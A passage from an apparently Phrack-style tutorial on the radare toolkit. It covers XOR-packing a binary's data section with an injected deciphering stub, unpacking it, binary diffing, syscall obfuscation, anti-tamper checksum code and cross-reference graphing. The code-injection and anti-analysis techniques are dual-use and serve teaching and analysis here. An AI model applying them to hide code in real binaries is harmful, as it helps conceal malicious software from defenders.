In this case, 4K is the aligned size of 0xfe0 bytes of the binary will be loaded at address 0x8060000 starting at address 0x18000 of the file.

By running '.!rabin ‑rIH $FILE' from radare all this information will be imported into radare and it will emulate such situation.

The problem we face here, is that the size and address of the mapped area doesn't match with the offset of the .data section.

Some operations are required to get the correct offsets to statically modify the program to cipher such range of bytes and inject a snippet of assembly to dynamically decipher such bytes.

The script looks like:

‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑

# flag from virtual address (the base address where the binary is mapped) # this will make all new flags be created at current seek + <addr> # we need to do this because we are calculating virtual addresses. ff $${io.vaddr}

# Display the ranges of the .data section

?e Data section ranges : `?v section._data`‑ `?v section._data_end`

# set flag space to 'segments'. This way 'f' command will only display the # flags contained in this namespace.

fs segments

# Create flags for 'virtual from' and 'virtual to' addresses.

# We grep for the first row '#0' and the first word '[0]' to retrieve # the offset where the PT_LOAD segment is loaded in memory

f vfrom @ `f~vaddr[0]#0`

# 'virtual to' flag points to vfrom+ptload segment size

f vto @ vfrom+`f~vaddr[1]#0`

# Display this information

?e Range of data decipher : `?v vfrom`‑ `?v vto`= `?v vto‑vfrom`bytes

# Create two flags to store the position of the physical address of the # PT_LOAD segment.

f pfrom @ `f~paddr[0]#0`

f pto @ pfrom+`f~paddr[1]#0`

# Adjust deltas against data section

# ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

# pdelta flag is not an address, we set flag from to 0

# pdelta = (address of .data section)‑(physical address of PTLOAD segment) ff 0 && f pdelta @ section._data‑pfrom

?e Delta is `?v pdelta`

# reset flag from again, we are calculating virtual and physical addresses ff $${io.vaddr}

f pfrom @ pfrom+pdelta

f vfrom @ vfrom+pdelta

ff 0

?e Range of data to cipher: `?v pfrom`‑ `?v pto`= `?v pto‑pfrom`bytes

# Calculate the new physical size of bytes to be ciphered.

# we dont want to overwrite bytes not related to the data section f psize @ section._data_end ‑ section._data

?e PSIZE = `?v psize`

# 'wox' stands for 'write operation xor' which accepts an hexpair list as # a cyclic XOR key to be applied to at 'pfrom' for 'psize' bytes. wox a8 @ pfrom:psize

# Inject shellcode

#‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

# Setup the simple profile for the disassembler to simplify the parsing # of the code with the internal grep

e asm.profile=simple

# Seek at entrypoint

s entrypoint

# Seek at address (fourth word '[3]') at line'#1' line of the disassembly # matching the string 'push dword' which stands for the '__libc_csu_init' # symbol. This is the constructor of the program, and we can modify it # without many consequences for the target program (it is not widely used). s `pd 20~push dword[3]#1`

# Compile the 'uxor.S' specifying the virtual from and virtual to addresses !gcc uxor.S ‑DFROM=`?v vfrom` ‑DTO=`?v vfrom+psize`

# Extract the symbol 'main' of the previously compiled program and write it # in current seek (libc_csu_init)

wx `!!rabin ‑o d/s a.out|grep ^main|cut ‑d ' ' ‑f 2`

# Cleanup!

?e Uncipher code: `?v $$+$${io.vaddr}`

!!rm ‑f a.out

q!

‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑

The unciphering snippet of code looks like:

‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑

.global main

main:

mov $FROM, %esi

mov $TO, %edi

0:

inc %esi

xorb $0xa8, 0(%esi)

cmp %edi, %esi

jbe 0b

xor %edi, %edi

ret

‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑

Finally we run the code:

$ cat hello.c

#include <stdio.h>

char message[128] = "Hello World";

int main()

{

message[1]='a';

if (message[0]!='H')

printf("Oops\n");

else

printf("%s\n", message);

return 0;

}

$ gcc hello.c ‑o hello

$ strings hello | grep Hello

Hello World

$ ./hello

Hallo World

$ radare ‑w ‑i xordata.rs hello

$ strings hello | grep Hello

$ ./hello

Hallo World

The 'Hello World' string is no longer in plain text. The ciphering algorithm is really stupid. The reconstructed data section can be extracted from a running process using the debugger:

$ cat unpack‑xordata.rs

e asm.profile=simple

s entrypoint

!cont `pd 20~push dword[3]#2`

f delta @ section._data‑ segment.phdr_0.rw_.paddr‑section.

s segment.phdr_0.rw_.vaddr+delta

b section._data_end ‑ section._data

wt dump

q!

$ radare ‑i unpack‑xordata.rs ‑d ./hello

$ strings dump

Hello World

Or statically:

e asm.profile=simple

wa ret @ `pd 20~push dword[3]#1`

wox a8 @ section._data:section._data_end‑section.data

This is a plain example of how complicated can be to add a protection and how easy is to bypass it.

As a final touch for the unpacker, just write a 'ret' instruction at symbol '__libc_csu_init' where the deciphering loop lives:

wa ret @ sym.__libc_csu_init

Or just push a null pointer instead of the csu_init pointer in the entrypoint.

e asm.profile=simple

s entrypoint

wa push 0 @ `pd 20~push dword[0]#1`

‑‑[ 3.4 ‑ Finding differences in binaries

Lets draw a scenario where a modified binary (detected by a checksum file analyzer) has been found on a server, and the administrator or the forensic analyst wants to understand whats going on that file.

To simplify the explanation the explanation will be based on the previous chapter example.

At first point, checksum analysis will determine if there's any collision in the checksum algorithm, and if the files are really different:

$ rahash ‑a all hello

par: 0

xor: 00

hamdist: 01

xorpair: 2121

entropy: 4.46

mod255: 84

crc16: 2654

crc32: a8a3f265

md4: cbfc07c65d377596dd27e64e0dcac6cd

md5: 2b3b691d92e34ad04b1affea0ad2e5ab

sha1: 8ac3f9165456e3ac1219745031426f54c6997781

sha256: 749e6a1b06d0cf56f178181c608fc6bbd7452e361b1e8bfbcfac1310662d4775 sha384: c00abb14d483d25d552c3f881334ba60d77559ef2cb01ff0739121a178b05... sha512: 099b42a52b106efea0dc73791a12209854bc02474d312e6d3c3ebf2c272ac...

$ rahash ‑a all hello.orig

par: 0

xor: de

hamdist: 01

xorpair: a876

entropy: 4.29

mod255: 7b

crc16: 2f1f

crc32: b8f63e24

md4: bc9907d433d9b6de7c66730a09eed6f4

md5: 6085b754b02ec0fc371a0bb7f3d2f34e

sha1: 6b0d34489c5ad9f3443aadfaf7d8afca6d3eb101

sha256: 8d58d685cf3c2f55030e06e3a00b011c7177869058a1dcd063ad1e0312fa1de1 sha384: 6e23826cc1ee9f2a3e5f650dde52c5da44dc395268152fd5c98694ec9afa0... sha512: 09b7394c1e03decde83327fdfd678de97696901e6880e779c640ae6b4f3bf...

There is the possibility to generate two different files matching until 3 different checksum algorithms (and maybe more in the future). If any of them differs we can determine that the file is different.

$ du ‑bs hello hello.orig

4913 hello

4913 hello.orig

As both files have the same size it will be worth using a byte‑level diffing, because it is more probable easy to read the differences than trying to understand them as deltified ones (which is the default diffing algorithm).

$ radiff ‑b hello.orig hello

‑‑‑‑‑‑

000003ed 00

000003f0 55 | 60

000003f1 89 | be

000003f2 e5 | c0

...

00000406 fe | 61

00000407 ff | c3

00000408 ff | 90

00000409 8d | 90

0000040a bb | 90

0000040b 18 | 90

0000040c ff

‑‑‑‑‑‑

000005bd 00

000005c0 00 | a8

000005c1 00 | a8

000005c2 00 | a8

...

000005df 00 | a8

000005e0 48 | e0

000005e1 65 | cd

000005e2 6c | c4

000005e3 6c | c4

000005e4 6f | c7

0000065f 00 | a8

00000660 00

Radiff detects two blocks of changes determined by the '‑‑‑‑‑‑' lines.

The first block starts at 0x3f0 and the second one (which is bigger) begins at address 0x5c0.

While watching the massive 00‑>a8 conversion it is possible to blindly determine that the ciphering algorithm is XOR and the key is 0xa8. But let's get a look on the first block of changes and disassemble the code.

$ BYTES=$(radiff ‑f 0x3f0 ‑t 0x40b ‑b hello.orig hello | awk '{print $4}') $ rasm ‑d "$(echo ${BYTES})"

pushad

mov esi, 0x80495c0

mov edi, 0x8049660

inc esi

xor byte [esi], 0xa8

cmp esi, edi

jbe 0x38

popad

ret

...

Here it is! this code of assembler is looping from 0x80495c0 to 0x8049660 and XORing each byte with 0xa8.

radiff can also dump the results of the diff in radare commands. The execution of the script will result on a binary patch script to convert one file to another.

$ radiff ‑rb hello hello.orig > binpatch.rs

$ cat binpatch.rs | radare ‑w hello

$ md5sum hello hello.orig

6085b754b02ec0fc371a0bb7f3d2f34e hello 6085b754b02ec0fc371a0bb7f3d2f34e hello.orig

‑‑[ 3.5 ‑ Removing library dependencies

In some gnu/linux distributions, all the ELF binaries are linked against libselinux, which is an undesired dependency if we want to make our hello world portable. SElinux is not available in all gnu/linux distros.

This is a simple example, but we can extend the issue to bad pkg‑config configuration files that can make a binary depend on more libraries than the minimum required.

Perhaps most users will not care and will probably install those dependencies, recompile the kernel or whatever else. It is a pity to make steps in backward instead of telling gcc to not link against those libraries.

But we can avoid these dependencies easily: all the library names are stored as zero‑terminated strings in the ELF header, and the loader (at least the Solaris, Linux and BSD ones) will ignore dependency entries if the library name is zero length.

The patch consists on finding the non‑desired library name (or the prefix, if there are more than one libraries with similar names) and then write 0x00 in each search result.

$ radare ‑nw hello

[0x00000000]> / libselinux

... (results) ...

[0x00000000]> wx 00 @@ hit

[0x00000000]> q!

Using ‑nw radare will run without interpreting the ~/.radarerc and it will not detect symbols or analyze code (we only need to use the basic hexadecimal capabilities). The ‑w flag will open the file in read‑write.

Each search result will be stored in the 'search' flagspace with names predefined by the 'search.flagname' eval variable that will be hit%d_%d by default. (This is keyword_index and hit_index).

The last command will run 'wx 00' at every '@@' flag matching 'hit' in the current flagspace.

Use 'q!' if you don't want to be prompted to restore the changes done before exiting.

‑‑[ 3.6 ‑ Syscall obfuscation

Looking for raw int 0x80 instructions on standard binaries it's going probably to be a hard task unless these are statically compiled. This is because they usually live in libraries which are embedded in the program.

Libraries like libc have loads of symbols that are directly mapped to syscalls, and the reverser could use this information to identify code in a statically compiled program.

To obfuscate symbols we can embed syscalls directly on the host program, after trashing the stack to break standard backtraces.

If you go deep enough on the new syscalling system of Linux you will notice that the int 0x80 syscall mechanism is no longer used in the current x86 platforms because performance reasons.

The new syscall mechanism consists in calling a trampoline function installed by the kernel as a 'fake' ELF shared object mapped on the running process memory. This trampoline function implements the most suitable syscall mechanism for the current platform. This shared object is called VDSO.

In Linux only two segment registers are used: cs and gs. This is for simplicity reasons. The first one allows to access to the whole program memory maps, and the second one is used to store Thread related information.

Here is a simple segment dumper to get the contents from %gs.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ cat segdump.S

#define FROM 0 /* 0x8048000 */

#define LEN 0x940

#define TIMES 1

#define SEGMENT %gs /* %ds */

.global main

.data

buffer:

.fill LEN, TIMES, 0x00

.text

main:

mov $TIMES, %ecx

loopme:

push %ecx

sub $TIMES, %ecx

movl $LEN, %eax

imul %eax, %ecx

movl %ecx, %esi /* esi = ($TIMES‑%ecx)*$LEN */

addl $FROM, %esi

lea buffer, %edi

movl $LEN, %ecx

rep movsb SEGMENT:(%esi),%es:(%edi)

movl $4, %eax

movl $1, %ebx

lea buffer, %ecx

movl $LEN, %edx

int $0x80

pop %ecx

xor %eax, %eax

cmp %eax, %ecx

dec %ecx

jnz loopme

ret

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

At this point we disable the random va space to analyze the contents of the VDSO map always at the same address during executions.

$ sudo sysctl ‑w kernel.randomize_va_space=0

Compile and dump the segment to a file:

$ gcc segdump.S

$ ./a.out > gs.segment

And now let's do some little analysis in the debugger:

$ radare ‑d ls ; debug 'ls' program

...

; Inside the debugger we write the contents of the gs.segment file. ; In the initial state, the current seek points to 'eip'.

[0x4A13B8C0]> wf gs.segment

Poke 100 bytes from gs.segment 1 times? (y/N) y

file poked.

offset 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x4a13b8c0, c006 e8b7 580b e8b7 c006 e8b7 0000 0000 ....X........... 0x4a13b8d0, 1414 feb7 ec06 0a93 b305 6beb 0000 0000 ..........k..... 0x4a13b8e0, 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x4a13b8f0, 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x4a13b900, 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x4a13b910, 0000 0000 0000 0000 0000 0000 0000 0000 ................

; Once the file is poked in process memory we have different ways to ; analyze the contents of the current data block. One possible option ; is to use the 'pm' command which prints memory contents following the ; format string we use as argument, it is also possible to specify the ; element names as in a structure.

;

; Another option is the 'ad' command which 'analyzes data' reading the ; memory as 32bit primitives following pointers and identifying ; references to code, data, strings or null pointers.

[0x4A13B8C0]> pm XXXXXXXXX

0x4a13b8c0 = 0xb7fe46c0

0x4a13b8c4 = 0xb7fe4ac8

0x4a13b8c8 = 0xb7fe46c0

0x4a13b8cc = 0x00000000 ; eax

0x4a13b8d0 = 0xb7fff400 ; maps._vdso__0+0x400

0x4a13b8d4 = 0xff0a0000

0x4a13b8d8 = 0x856003b1

0x4a13b8dc = 0x00000000 ; eax

0x4a13b8e0 = 0x00000000 ; eax

[0x4A13B8C0]> ad

0x4a13b8c0, int be=0xc046feb7 le=0xb7fe46c0

0x4a13b8c4, int be=0xc84afeb7 le=0xb7fe4ac8

0x4a13b8c8, int be=0xc046feb7 le=0xb7fe46c0

0x4a13b8cc, (NULL)

0x4a13b8d0, int be=0x00f4ffb7 le=0xb7fff400 maps._vdso__0+0x400 0xb7fff400, string "QRU"

0xb7fff404, int be=0xe50f3490 le=0x90340fe5

; Both analysis result in a pointer to the vdso map at 0x4a13b8d0 ; Disassembling these contents with 'pd' (print disassembly) we get that ; the code uses sysenter.

[0x4A13B8C0]> pd 17 @ [+0x10]

_vdso__0:0xb7fff400, 51 push ecx _vdso__0:0xb7fff401 52 push edx _vdso__0:0xb7fff402 55 push ebp .‑> _vdso__0:0xb7fff403 89e5 mov ebp, esp | _vdso__0:0xb7fff405 0f34 sysenter

| _vdso__0:0xb7fff407 90 nop

| _vdso__0:0xb7fff408, 90 nop

| _vdso__0:0xb7fff409 90 nop

| _vdso__0:0xb7fff40a 90 nop

| _vdso__0:0xb7fff40b 90 nop

| _vdso__0:0xb7fff40c, 90 nop

| _vdso__0:0xb7fff40d 90 nop

`=< _vdso__0:0xb7fff40e ebf3 jmp 0xb7fff403 _vdso__0:0xb7fff410, 5d pop ebp _vdso__0:0xb7fff411 5a pop edx _vdso__0:0xb7fff412 59 pop ecx _vdso__0:0xb7fff413 c3 ret

After this little analysis we can use a new way to call syscalls and transform the "int 0x80" instructions into a bunch of operations.

new_syscall:

push %edi

push %esi

movl $0x10, %esi

movl %gs:(%esi), %edi

call *%edi

pop %esi

pop %edi

ret

Using this 'big' primitive we are able to add more trash code and make static analysis harder.

Using dynamic analysis it is possible to bypass this protection by writing a simple script that dumps the backtrace every time a syscall is executed.

(syscall‑bt

e scr.tee=log.txt

label:

!contsc

!bt

.label:

)

Or with a shell single liner:

$ echo '(syscall‑bt,e scr.tee=log.txt,label:,!contsc,!bt,.label:,) \ &&.(syscall‑bt)' | radare ‑d ./a.out

A way to make the analysis harder is to trash the stack contents with a random offset every time we run a syscall. By decreasing the stack pointer and later incrementing it we will make the backtrace fail.

To trash the stack we can just increment the stack before the syscall and decrement it after calling it. The analyst will have to patch these inc/dec opcodes for every syscall trampolines to get proper backtrace and resolve the xrefs for each entry.

Radare implements a "!contsc" command that makes the debugger stop before and after a syscall. This can be scripted together with "!bt" and "!st" to get a handmade version of the strace utility.

Another trick that we can exploit for writing our homebrew packer is to use instructions needed to be patched for proper analysis as cipher keys. Making the program crash when trying to decipher a section using invalid keys for example.

‑‑[ 3.7 ‑ Replacing library symbols

Statically linked binaries are full of unused bytes, we can take use of this to inject our code.

Lot of library symbols (for example from libc) can be directly replaced by system calls at the symbol or directly in‑place where it is called. For example:

call exit

can be replaced these (also 5 byte length) instructions:

xor eax,eax

inc eax

int 0x80

$ rasm 'xor eax,eax;inc eax;int 0x80'

31 c0 40 cd 80

This way we can just go into the statified libc's exit implementation and overwrite it with our own code.

If the binary is statically compiled with stripped symbols we will have to look for signatures or directly find the 'int 0x80' instruction and then analyze code backward looking for the beginning of the implementation and then find for xrefs to this point.

Most compilers append libraries at the end of the binary, so we can easily 'draw' an imaginary line where the program ends and libraries start.

There's another tool that may help to identify which libraries and versions are embedded in our target program. It is called 'rsc gokolu'. The name stands for 'g**gle kode lurker' and it will look for strings in the given program in the famous online code browser and give approximated results of the source of the string.

When we have debugging or symbolic information the process becomes much easier and we can directly overwrite the first bytes of the embedded glibc code with the small implementation in raw assembly using syscalls.

rabin is the utility in radare which extracts information from the headers of a given program. This is like a multi‑architecture multi‑platform and multi‑format 'readelf' or 'nm' replacement which supports ELF32/64, PE32/32+, CLASS and MACH0.

The use of this tool is quite simple and the output is quite clean to ease the parsing with sed and other shell tools.

$ rabin ‑vi a.out

[Imports]

Memory addressFile offsetName

0x080490340x00001034__gmpz_mul_ui

0x080490440x00001044__cxa_atexit

0x080490540x00001054memcmp

0x080490640x00001064pcap_close

0x080490740x00001074__gmpz_set_ui

...

$ rabin ‑ve a.out

[Entrypoint]

Memory address:0x080494d0

$ rabin ‑vs a.out

[Symbols]

Memory addressFile offsetName

0x0804d86c0x0000586c__CTOR_LIST__

0x0804d8740x00005874__DTOR_LIST__

0x0804d87c0x0000587c__JCR_LIST__

0x080495000x00001500__do_global_dtors_aux

0x0804dae80x00005ae8completed.5703

0x0804daec0x00005aecdtor_idx.5705

0x080495600x00001560frame_dummy

...

$ rabin ‑h

rabin [options] [bin‑file]

‑e shows entrypoints one per line

‑i imports (symbols imported from libraries)

‑s symbols (exports)

‑c header checksum

‑S show sections

‑l linked libraries

‑H header information

‑L [lib] dlopen library and show address

‑z search for strings in elf non‑executable sections ‑x show xrefs of symbols (‑s/‑i/‑z required)

‑I show binary info

‑r output in radare commands

‑o [str] operation action (str=help for help)

‑v be verbose

See manpage for more information.

The same flags can be used for any type of binary for any architecture.

Using the ‑r flag the output will be formatted in radare commands, this way you can import the binary information. This command imports the symbols, sections, imports and binary information.

[0x00000000]> .!!rabin ‑rsSziI $FILE

This is done automatically when loading a file if you have file.id=true, if you want to disable the analysis run 'radare' with '‑n' (because this way it will not interpret the ~/.radarerc).

Programs with symbols or debug information are mostly analyzed by the code analysis of 'radare' thanks to the hints given by 'rabin'. So, theoretically we will be able to automatically resolve the crossed references to functions. But if we are not that lucky we can just setup a simple disassembly output format (e asm.profile=simple) and disassemble the whole program code grepping for 'call 0x???????' to resolve calls to our desired owned symbol.

[0x08049A00]> e scr.color=false

[0x08049A00]> e asm.profile=simple

[0x08049A00]> s section._text

[0x08049A00]> b section._text_end‑section._text

[0x08049A00]> pd~call 0x80499e4

0x08049fd9 call 0x80499e4 ; imp.exit

0x0804fa89 call 0x80499e4 ; imp.exit

0x0805047b call 0x80499e4 ; imp.exit

[0x08049A00]>

If we are not lucky and do not have symbols we will have to identify which parts of the binary are part of our target binary.

$ rsc syms‑dump /lib/libc.so.6 24 > symbols

‑‑[ 3.8 ‑ Checksumming

The most common procedure to check for undesired runtime or static program patches is done by using checksumming operations over sections, functions, code or data blocks.

These kind of protections are usually easy to patch, but allow the end user to get a grateful error message instead of a raw Segmentation Fault.

The error message string can be a simple entrypoint for the reverser to catch the position of the checksumming code.

Radare offers a hashing command under the "h" char and allows you to calculate block‑based checksums while debugging or statically by opening the file from disk.

Heres an usage example:

hmd5

It is also possible to use these hashing instructions to find pieces of the program matching a certain checksum value, or just recalculate the new sum to not patch the hash check.

The 'h' command can be also performed from the shell by using the "rahash" program which permits to calculate multiple checksums for a single file based on blocks of bytes. This is commonly used on forensics, when you want a checksum to not only give you a boolean reply (if the program has been modified), because this way you can reduce the problem on a smaller piece of the binary because you have multiple checksums at different offsets for the same file.

This action can be done over hard disks, device firmwares or memory dumps of the same size.

If you are dealing similar file with deltified contents or you require a more fine grained result you should try "radiff" which implements multiple bindiffing algorithms that goes from byte level detecting deltas to code level diffing using information of basic blocks, variables accessed and functions called.

We will also have to decide a protection method for the checksumming algorithm, because this will be the first patch required to enable software breakpoints and user defined patches to be done.

To protect the hasher we just put it distributed along the program by mixing its code with the rest of the program making more difficult to identify the its position. We can also choose to put this code into a ciphered area in .data together with other necessary code to make the program run.

One of the main headaches for reversers is the layering of protections that can be represented by lot of entrypoints to the same code making more difficult to locate and patch in a proper way.

The checksumming of a section can be used as a deciphering key for other ciphered sections, to avoid easy patching, the program should check for the consistence of the deciphered code. This can be done by checking for another checksum or by comparing few bytes at the beginning of the deciphered and mmap code.

There is another possible design to implement the checksumming algorithm in a more flexible way which consists on checksumming the code in runtime instead of hardcoding the resulting value somewhere.

This method allows us to 'protect' multiple functions without having to statically calculate the checksum value of the region. The problem with this method is that it doesn't provide us protection against static modifications on the binary.

This snippet can be compiled with DEBUG=0 to get a fully working checksumming function which returns 0 when the checksum matches.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#define CKSUM 0x68

#define FROM 0x8048000

#define SIZE 1024

str:

.asciz "Checksum: 0x%08x\n"

.global cksum

cksum:

pusha

movl $FROM, %esi

movl $SIZE, %ecx

xor %eax, %eax

1:

xorb 0(%esi), %al

add $1, %esi

loopnz 1b

#if DEBUG

pushl %eax

pushl $str

call printf

addl $8, %esp

#else

sub $CKSUM, %eax

jnz 2f

#endif

popa

ret

#if DEBUG

.global main

main:

call cksum;

ret

#else

2:

mov $20, %eax

int $0x80

mov $37, %ebx

mov $9, %ecx

xchg %eax, %ebx

int $0x80

#endif

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

To get the bytes of the function to be pushed we can use an 'rsc' script that dumps the hexpairs contained managed by a symbol in a binary:

$ gcc cksum.S ‑DDEBUG

$ ./a.out

Checksum: 0x69

$ gcc ‑c cksum.S

$ rsc syms‑dump cksum.o | grep cksum

cksum: 60 be 00 80 04 08 b9 00 04 00 00 31 c0 32 06 83 c6 01 e0 f9 2d d2 04 \ 00 00 75 02 61 c3 b8 14 00 00 00 cd 80 bb 25 00 00 00 b9 09 00 00 00 93 cd 80

The offsets to patch with our ranged values are:

+2: original address (4 bytes in little endian)

+7: size of buffer (4 bytes in little endian)

+21: checksum byte (1 byte)

We can use this hexdump from a radare macro that automatically patches the correct bytes while inserting the code in the target program.

$ rsc syms‑dump cksum.o | grep cksum | cut ‑d : ‑f 2 > cksum.hex $ cat cksum.macro

(cksum‑init ckaddr size,f ckaddr @ $0,f cksize @ $1,)

(cksum hexfile size

# kidnap some 4 opcodes from the function

f kidnap @ `aos 4`

yt kidnap ckaddr+cksize

wa jmp $$+kidnap @ ckaddr+cksize+kidnap

wa call `?v ckaddr`

wF $0 @ ckaddr

f cksize @ $$w

f ckaddr_new @ ckaddr+cksize+50

wv $$ @ ckaddr+2

wv $1 @ ckaddr+7

wx `hxor $1` @ ckaddr+21

f ckaddr @ ckaddr_new

)

$ cat cksum.hooks

0x8048300

0x8048400

0x8048800

$ radare ‑w target

[0x8048923]> . cksum.macro

[0x8048923]> .(cksum‑init 0x8050300 30)

[0x8048923]> .(cksum cksum.hex 100) @@. cksum.hooks

‑‑[ 4 ‑ Playing with code references

The relationship between parts of code in the program are a good source of information for understanding the dependencies between code blocks, functions.

Following sub‑chapters will explain how to generate, retrieve and use the code references for retrieving information from a program in memory or statically on‑disk.

‑‑[ 4.1 ‑ Finding xrefs

One of the most interesting information we need when understanding how a program works or what it does is the flow graph between functions. This give us the big picture of the program and allows us to find faster the points of interest.

There are different ways to obtain this information in radare, but you will finally manage it with the 'Cx' and 'CX' commands (x=code xref, X=data xref). This means that you can even write your own program to extract this information and import it into radare by just interpreting the output of the program or a file.

[0x8048000]> !!my‑xrefs‑analysis a.out > a.out.xrefs [0x8048000]> . a.out.xrefs

or

[0x8048000]> .!my‑xrefs‑analysis a.out

At the time of writing this, radare implements a basic code analysis algorithm that identifies function boundaries, splits basic blocks, finds local variables and arguments, tracks their access and also identifies code and data references of individual instructions.

When 'file.analyze' is 'true', this code analysis is done recursively over the entrypoint and all the symbols identified by rabin. This means that it will not be able to automatically resolve code references following pointer tables, register branches and so on and lot of code will remain unanalyzed.

We can manually force to analyze a function at a certain offset by using the '.afr@addr' command which will interpret ('.') the output of the command 'afr' that stands for 'analyze function recursively' at (@) a certain address (addr).

When a 'call' instruction is identified, the code analysis will register a code xref from the instruction to the endpoint. This is because compilers uses these instructions to call into subroutines or symbols.

As we did previously, we can disassemble the whole text section looking for a 'call' instruction and register code xrefs between the source and destination address with these two lines:

[0x000074E0]> e asm.profile=simple

[0x000074E0]> "(xref,Cx `pd 1~[2]`)"

[0x000074E0]> .(xref) @@=`pd 100~call[0]`

We use the simple asm.profile to make the disassembly text parsing easier.

The first line will register a macro named 'xref' that creates a code xref at address pointed by the 3rd word of the disassembled instruction.

In the second line it will run the previous macro at every offset specified by the output of the "pd 100~call[0]" instruction. This is the offset of every call instruction of the following 100 instructions.

When disassembling code (using the 'pd' command (print disasm)) xrefs will be displayed if asm.xrefs is enabled. Optionally, we can set asm.xrefsto to visualize the xref information at both end‑points of the code reference.

‑‑[ 4.2 ‑ Blind code references

The xrefs(1) program that comes with radare implements a blind code reference search algorithm based on identifying sequences of bytes matching a certain pattern.

The pattern is calculated depending on the offset. This way the program calculates the relative delta between the current offset and the destination address and tries to find relative branches from one point to another of the program.

The current implementation supports x86, arm and powerpc, but allows to define templates of branch instructions for other architectures by using the option flags to determine the instruction size, endianness, the way to calculate the delta, etc.

The main purpose of this program was to identify code xrefs on big files (like firmwares), where the code analysis takes too long or requires many manual interaction, it is not designed to identify absolute calls or jumps.

Here's an usage example:

$ xrefs ‑a arm bigarmblob.bin 0x6a390

0x80490

0x812c4

‑‑[ 4.3 ‑ Graphing xrefs

Radare ships some commands to manage and create interactive graphs to display code analysis based on basic blocks, function blocks or whatever we want by using the 'gu' command (graph user)

The most simple way to use the graphing capabilities is to use the 'ag' command that will directly popup a gtk window with a graphed code analysis from the current seek, splitting the code by basic blocks. (use the eval graph.jmpblocks and graph.callblocks to split blocks by jumps or calls to analyze basic blocks or function blocks).

The graph is stored internally, but if we want to create our own graphs we can use the 'gu' command which provides subcommands to reset a graph, create nodes, edges and display them.

[0x08049A00]> gu?

Usage: gu[dnerv] [args]

gur user graph reset

gun $$ $$b pd add node

gue $$F $$t add edge

gud display graph in dot format

guv visualize user defined graph

This is a radare script that will generate a graph between analyzed function by using the xrefs metadata information.

After configuring the graph we can display it using the internal viewer (guv) or using graphviz's dot.

‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"(xrefs‑to from,f XT @ `Cx~$0[3]`,)"

"(graph‑xrefs‑init,gur,)"

"(graph‑xrefs,.(xrefs‑to `?v $$`),gue $$F XT,)"

"(graph‑viz,gud > dot,!!dot ‑Tpng ‑o graph.png dot,!!gqview graph.png,)"

.(graph‑xrefs‑init)

.(graph‑xrefs) @@= `Cx~[1]`

.(graph‑viz)

‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Here's the explanation of the previous script:

Note that all commands are quoted '"' because this way the inner special characters are ignored ('>', '~' ...)

"(xrefs‑to from,f XT @ `Cx~$0[3]`,)"

Register a macro named 'xrefs‑to' that accepts one argument named 'from' and aliased as $0 inside the macro body.

The macro executes the 'f XT' (create a flag named XT) at ('@') the address where the code xref (Cx) points (3rd column of the row matching $0 (the first argument of the macro (from)).

"(graph‑xrefs‑init,gur,)"

The 'graph‑xrefs‑init' macro resets the graph user metadata.

"(graph‑xrefs,.(xrefs‑to `?v $$`),gue $$F XT,)"

This macro named 'graphs‑xrefs' that run commands separated by commas:

.(xrefs‑to `?v $$`)

execute the macro 'xrefs‑to' at current seek ($$), the value is concatenated to the output of executing '?v $$' which evaluates the '$$' special variable and prints the value in hexadecimal.

gue XF XT

Adds an 'graph‑user' edge between the beginning of the function at current seek and XT.

"(graph‑viz,gud > dot,!!dot ‑Tpng ‑o graph.png dot,!!rsc view graph.png,)"

These commands will generate a dot file, render it in png and display it.

.(graph‑xrefs‑init)

.(graph‑xrefs) @@= `Cx~[1]`

.(graph‑viz)

Then, we bundle all those macros and the xrefs graph will be displayed

‑‑[ 4.4 ‑ Randomizing xrefs

Another annoying low level manipulation we can do is to repeat functions at random places with random modifications to make the program code more verbose and hard to analyze because of complex control flow paths.

By doing a cross‑references (xrefs) analysis between the symbols we will be able to determine which symbols are referenced more from than one single point.

The internal grep syntax can be tricky to retrieve lists of offsets for xrefs at a given position.

[0x0000c830]> Cx

Cx 0x00000c59 @ 0x00000790

Cx 0x00000c44 @ 0x000007b0

Cx 0x00000c35 @ 0x00000810

Cx 0x00000c26 @ 0x000008a0

...

These numbers specify the caller address and the called one. That is:

0xc59 ‑(calls)‑> 0x790

To disassemble the opcodes referencing code to other positions we can use the 'pd' command with a foreach statement:

[0x0000c830]> pd 1 @@= `C*~Cx[1]`

This command will run 'pd 1' on every address specified in the 1st column of the output of the 'C*~Cx[1]'

‑‑[ 5 ‑ Conclussion

This article has covered many aspects of reverse engineering, low level program manipulation, binary patching/diffing and more, despite being a concrete task it has tried to expose a variety of scenarios where a command line hexadecimal editor becomes an essential tool.

Several external scripting languages can be used, don't care about the cryptic scripting of the radare commands, there are APIs for perl, ruby and python for controlling radare and analyze code or connect to remote radares.

Being used in batch mode enables the ability to automatize many analysis tasks, generate graphs of code, determine if it is packed or infected, find vulnerabilities, etc.

